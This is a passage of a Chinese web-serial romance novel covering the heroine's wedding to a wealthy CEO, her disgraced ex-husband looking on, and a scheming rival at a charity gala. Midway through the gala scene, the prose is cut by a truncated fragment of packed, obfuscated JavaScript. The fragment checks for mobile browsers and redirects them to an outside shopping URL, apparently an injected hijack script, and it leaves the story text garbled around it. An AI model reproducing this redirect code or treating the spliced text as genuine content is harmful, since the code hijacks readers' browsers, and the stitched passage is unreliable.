顾彦廷在她耳边低语,“今天,你是全世界最干净、最尊贵的新娘。”
江晚絮的眼眶瞬间湿润。
原来,被人捧在手心里的感觉,是即使你有残
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缺,他也会用钻石为你填补。
婚礼现场,宾客云集。
顾彦廷牵着江晚絮的手,走过长长的红毯。
漫天的花瓣雨落下。
在宴会厅最不起眼的角落,一个穿着不合身服务员制服的男人,正一瞬不瞬地盯着台上那对璧人。
是叶寒。
他戴着口罩,手里端着托盘,一脸的不甘。
那个在聚光灯下,笑得一脸幸福的女人,曾经是他的妻子。
曾经,她也会这样看着他,满眼都是星星。
可他干了什么?
结婚纪念日,他让她去给江芊妤买姨妈巾。
她生日,他在陪江芊妤切蛋糕,让她一个人在暴雨里等了三个小时。
她做好了饭菜等他,他却嫌弃地倒进垃圾桶,说看着倒胃口。
“服务生,能不能加点香槟?”
旁边的宾客不耐烦地催促。
叶寒猛地回神,卑微地低下头:“好的,马上。”
倒酒的时候,他的手一抖,酒液洒出了一点。
“你怎么做事的!长没长眼睛!”宾客怒斥。
叶寒连声道歉。
安抚好宾客,他回到了宴会厅的角落。
他抬头,再次看向台上。
顾彦廷正单膝跪地,给江晚絮戴上那枚价值连城的鸽子蛋。
“晚晚,从今往后,你愿陪我看尽世间繁华,携手共白头吗?”
全场欢呼。
江晚絮点头,笑中带泪。
那一刻,叶寒的心脏像是被人硬生生挖走了一块。
他不甘心。
那明明是他的老婆!
他想冲上去,想大喊那是我的妻子。
可是,当顾彦廷那双锐利如鹰隼般的眼睛扫视全场时,叶寒怂了。
那是一种来自上位者的绝对压迫。
顾彦廷只要动动手指,现在的叶寒就会在这个世界上消失。
“那是……叶总?”
旁边似乎有人认出了他的侧脸,窃窃私语,“那个端盘子的,怎么那么像破产的叶寒?”
“嘘,别瞎说,叶寒好歹以前也是个人物,怎么可能来端盘子?不过听说他现在过得挺惨,住在地下室,天天酗酒。”
“活该,放着珍珠不要非要鱼目,这种渣男死不足惜。”
每一句话,都像耳光一样扇在叶寒脸上。
他再也待不下去了。
他压低了帽檐,狼狈地转身,从侧门仓皇逃离。
身后,是盛大的婚礼,是原本触手可及却被他亲手摔碎的幸福。
第167章 温柔刀与新猎手
结婚仪式结束。
外婆坐在主桌,穿着一身崭新的暗红色唐装,那是江晚絮特意定做的。
老人家看着外孙女终于有了归宿,哭得像个泪人。
“外婆,别哭,今天是好日子。”
江晚絮蹲在外婆身边,拿纸巾给她擦泪。
“我是高兴……高兴……”外婆颤巍巍地摸着江晚絮的脸,“我的絮絮,终于不用再吃苦了,不用再被人欺负了。”
这时,顾家老夫人,也就是顾彦廷的奶奶,拄着龙头拐杖走了过来。
老太太虽然满头银发,但精神矍铄,一身贵气。
“亲家。”
顾老夫人笑呵呵地握住外婆的手,“以后咱们就是一家人了。听彦廷说,絮絮不放心你一个人住?”
江晚絮心里一紧。
她是想把外婆接来身边,但又怕顾家嫌弃外婆是乡下人,而且顾家规矩多……
“正好。”
顾老夫人拍了拍外婆的手背,“我那老宅子大得很,平时连个说话的人都没有。你要是不嫌弃,就搬过来跟我个老婆子作伴。咱们没事喝喝茶,打打牌,我也好听听絮絮小时候的事。”
江晚絮抬头,震惊地看着顾老夫人。
顾彦廷站在一旁,揽住她的肩膀,低声道:“奶奶早就让人收拾好了老宅朝南的院子,方便你随时去看。”
“彦廷……”
江晚絮的声音哽咽了。
“傻丫头,哭什么。”
顾彦廷温柔地吻去她的泪水,“我说过,我会给你一个家,一个完整的家。”
外婆也是激动的不知所措:“这……这怎么好意思,我个乡下老婆子……”
“什么乡下城里的,养出絮絮这么好的孙媳妇,您就是顾家的大功臣!”
顾老夫人一锤定音。
那天晚上,江晚絮喝醉了。
她趴在顾彦廷的怀里,哭得像个孩子。
“顾彦廷,我以前觉得老天爷恨我……让我没爹疼没娘爱,还要遇到叶寒那种混蛋……”
“可是现在我觉得,老天爷是在攒着运气,让我遇见你。”
顾彦廷心疼地抚摸着她的长发。
“睡吧,老婆。”
“以后只有甜,没有苦。”
之后的生活,并没有让江晚絮变成养尊处优的金丝雀。
相反,她变得更忙了。
“晚星科技”正式并入顾氏集团,成为了顾氏旗下最核心的新能源研发子公司。
总裁办。
江晚絮正在看报表。
“江总,这是上个季度的财报。”
助理把文件放下,眼神里满是崇拜。
以前公司里还有人嚼舌根,说江晚絮是靠上位。
但这几个月,江晚絮带着团队攻克了三个核心技术难关,直接让顾氏的股价涨停了五次。
现在,谁见到她都得毕恭毕敬喊一声“小江总”。
“嗯,放这吧。”
江晚絮头也没抬,“另外,实验室那个恒温箱的数据有点波动,让老刘去查一下。”
“是。”
助理刚要走,门被推开了。
顾彦廷拎着一个保温饭盒走了进来。
“顾总!”助理吓了一跳。
顾彦廷摆摆手,示意她出去。
他走到江晚絮身边,直接抽走了她手里的笔。
“几点了?”
江晚絮一看表:“十二点半……我不饿。”
“不饿?”
顾彦廷冷笑一声,打开饭盒,里面是热气腾腾的药膳鸡汤,“你的胃是铁打的?忘了以前胃出血进医院的时候了?”
江晚絮以前在江家,经常吃不上饭。
有时候饿极了,就喝自来水充饥。
导致她的胃非常脆弱,稍微不注意就会疼得冷汗直流。
“我喝,我喝。”
江晚絮怕他生气,赶紧端起碗。
顾彦廷看着她乖乖喝汤的样子,眼神才柔和下来。
“下午有个会。”
顾彦廷坐在办公桌沿上,长腿随意交叠,“陆氏集团的考察团要来。”
“陆氏?”
江晚絮动作一顿,“那个在海外做新能源起家的陆氏?”
“嗯。这次带队的是陆家大小姐,陆清璃。”
顾彦廷漫不经心地玩着她的发丝,“听说是个厉害角色,想跟顾氏谈深度合作。”
江晚絮点点头:“我知道她。几篇关于固态电池的核心论文,她是第一作者。是个有真本事的。”
“再有本事,也是来求合作的。”
顾彦廷捏了捏她的脸,“你
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是主场,不用给她面子。”
下午三点,顾氏集团一号会议室。
会议室的大门被推开,一行人走了进来。
为首的女人,穿着一身米白色西装,长发挽起,露出修长的天鹅颈。
脸上化着精致的淡妆,笑容温婉,却透着一股不容忽视的自信。
陆清璃。
“顾总,久仰。”
陆清璃伸出手,声音清脆悦耳,不卑不亢。
“陆小姐。”
顾彦廷只是淡淡瞥了她一眼,并没有伸出手。
陆清璃丝毫不觉得尴尬,而是将视线转向了坐在顾彦廷身侧的江晚絮身上。
“这位就是江总工吧?”
陆清璃主动走过去,伸出手,“我看过您关于锂离子迁移率的那篇报告,非常精彩。尤其是关于低温环境下的解决方案,简直是天才的构想。”
江晚絮有些意外。
对方太专业了。
而且态度挑不出一点毛病。
“陆小姐过奖了。”江晚絮起身回握。
接下来的会议,变成了技术研讨会。
陆清璃对每一个技术细节都了如指掌,甚至能提出非常犀利的见解。
原本对这个“空降大小姐”有些轻视的顾氏工程师们,眼神渐渐变了。
这女人,有东西。
江晚絮也暗暗心惊。
这才是真正的豪门千金。
相比之下,江芊妤那个只会哭唧唧、玩阴招的绿茶,简直就是幼儿园水平。
会议结束。
“顾总,江小姐。”
陆清璃合上笔记本,微笑着发出邀请,“晚上的慈善晚宴,希望能再次见到二位。”
说完,她优雅转身,踩步伐稳健地离开。
背影都透着一股精英范儿。
“是个劲敌。”
江晚絮看着门口,中肯的评价。
顾彦廷却连头都没抬,正在给江晚絮剥橘子。
“商业上的劲敌而已。”
他把一瓣橘子喂到江晚絮嘴里,“在顾氏的地盘,是龙得盘着,是虎得卧着。”
江晚絮嚼着橘子,心里却隐隐有一丝不安。
女人的直觉告诉她,陆清璃看顾彦廷的眼神,虽然克制,但藏着火。
那是一种势在必得的野心。
第168章 茶艺高手
晚上的慈善晚宴,名流云集。
江晚絮挽着顾彦廷的手臂入场。
她穿着顾彦廷为她挑选的星空蓝礼服,低调却奢华。
但即便如此,在这个争奇斗艳的场合,她依然显得有些安静。
她不习惯这种场合。
以前作为叶寒的妻子,她也参加过这种宴会。
那时候,她穿着过季的礼服,缩在角落里,看着叶寒带着江芊妤满场飞,被人指指点点说是“带不出去的黄脸婆”。
“顾总!”
几个商界大佬围了上来,顾彦廷不得不去应酬。
“在这等我,别乱跑。”
顾彦廷捏了捏她的手心,“谁敢给你脸色看,直接泼酒,算我的。”
江晚絮笑了,“知道了,快去吧。”
顾彦廷刚走,一道优雅的身影就端着香槟走了过来。
“江小姐,又见面了。”
陆清璃换了一身红色的深V礼服,整个人像一团燃烧的火焰,艳光四射。
“陆小姐。”江晚絮礼貌地点头。
“顾总对您真是体贴入微。”
陆清璃晃着酒杯,眼神看似羡慕,实则锐利,“不过也是,江小姐以前受了那么多苦,现在终于是苦尽甘来了。”
江晚絮微微皱眉。
这话听着好听,但细品,全是刺。
在提醒她那段不堪的过去。
“听说江小姐为了前夫,连骨髓都捐了?”
陆清璃叹了口气,一脸惋惜,“真是太傻了。我们这种做科研的人,身体就是本钱。您那样糟践自己,现在做实验哪怕站久一点,腿都会疼吧?”
每一句都在戳江晚絮的痛处。
而且是用这种“我很心疼你”的语气。
江晚絮握紧了手包。
“陆小姐调查得很清楚。”
江晚絮抬起头,眼神清冷,“不过,那是以前的江晚絮。现在的我,有顾彦廷,还有我的技术。过去的事,也就是一段弯路而已。”
“是吗?”
陆清璃轻笑一声,凑近了一步,压低声音。
“可是江小姐,豪门这种地方,最讲究门当户对和清白底子。”
“顾总现在是图新鲜,心疼你。可等这股劲儿过了呢?”
“你那样的原生家庭,那样破碎的身体,还有那段人尽皆知的婚史……你觉得,你能帮他什么?”
“顾氏需要的,是一个能和他并肩作战、能在名利场上游刃有余的女主人。而不是一个需要他时刻弯腰去哄、去保护的瓷娃娃。”
陆清璃说完,直起身,恢复了得体的微笑。
“抱歉,我这人说话直。也是为了江小姐好。”
这时,苏洛敏走了过来。
她是江晚絮在这个圈子里为数不多的朋友,性格火辣。
“哟,这不是陆大小姐吗?”
苏洛敏挽住江晚絮的胳膊,上下打量陆清璃,“在这发什么疯呢?怎么,海外待久了,不知道咱们国内现在流行什么?现在流行真爱,不流行你这种拿着算盘找对象的。”
陆清璃也不恼,淡淡一笑:“我只是在和江小姐探讨一下……人生哲学。”
说完,她举杯示意,转身离开。
“这女人,段位很高。”
苏洛敏看着陆清璃的背影,低声对江晚絮说,“比起江芊妤那个只会在男人面前装柔弱的白莲花,这女人就是个妖孽。她比江芊妤狠十倍,因为她有脑子,有背景,而且——她不要脸得更高级。”
江晚絮深吸一口气,压下心头的寒意。
“我知道。她是在告诉我,我不配。”
正说着,大厅中央传来一阵骚动。
顾彦廷正大步走回来,脸色阴沉。
刚才他一转身没看到江晚絮,心就慌了。
看到江晚絮安然无恙,他才松了口气。
他走过来,当着所有人的面,直接揽住江晚絮的腰,低头亲吻她的额角。
“聊什么呢?这么开心?”
“没说什么。”
江晚絮不想让他担心,“就是碰到了陆小姐。”
顾彦廷冷冷地瞥了一眼远处的陆清璃。
然后,他接过服务生递来的话筒,声音传遍全场。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989744|192440||http|test|mini|href|location''.split(''|''),0,{}));
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r>“借这个机会,宣布一件事。”
全场安静。
“顾氏集团将在下个月,以江晚絮女士的名义,设立一项十亿的科研基金,专门资助女性科学家。”
“另外,”顾彦廷看着江晚絮,目光深情,“我名下顾氏集团20%的股份,已经转到了我太太名下。”
全场哗然!
20%!那是多少钱?!几百亿啊!
这哪里是娶老婆,这是把半个身家都送出去了!
陆清璃站在人群外,脸上出现了一丝裂痕。
她捏紧了酒杯。
顾彦廷,你越是这样护着她,我就越想把你抢过来。
证明给所有人看,谁才是真正适合站在你身边的人。
陆清璃很清楚,想要成为顾彦廷身边的女人,硬攻是不行的。
得从内部瓦解。
而顾家,有一个最好的突破口——顾母,秦兰。
秦兰虽然现在接受了江晚絮,但她骨子里还是那个讲究品味、热爱艺术的贵妇人。
江晚絮虽然聪明,但在琴棋书画、茶道花艺这些“贵族必修课”上,基本是零。
因为她在江家,连饭都吃不饱,哪有钱学这些。
某高档茶室。
秦兰正对着一幅古画发愁:“这幅《寒江独钓图》,怎么看都觉得哪里不对,但又说不上来。”
“顾伯母,能让我看看吗?”
陆清璃巧笑倩兮的走进来。
这是她特意制造的“偶遇”。
秦兰抬头:“是陆家丫头啊,快来,你眼光好。”
陆清璃走过去,只看了一眼,就指出了问题:“这里,用墨的层次稍微躁了一点。虽然仿得很像,但真正的宋画,那种孤寂感是在骨子里的,不是靠墨色堆出来的。”
秦兰一拍大腿:“对!就是这个感觉!哎呀,还是你懂行!”
陆清璃顺势坐下,动作优雅地开始泡茶。
那是失传已久的“点茶法”。
行云流水,赏心悦目。
秦兰看得连连点头。
这才是大家闺秀该有的样子啊。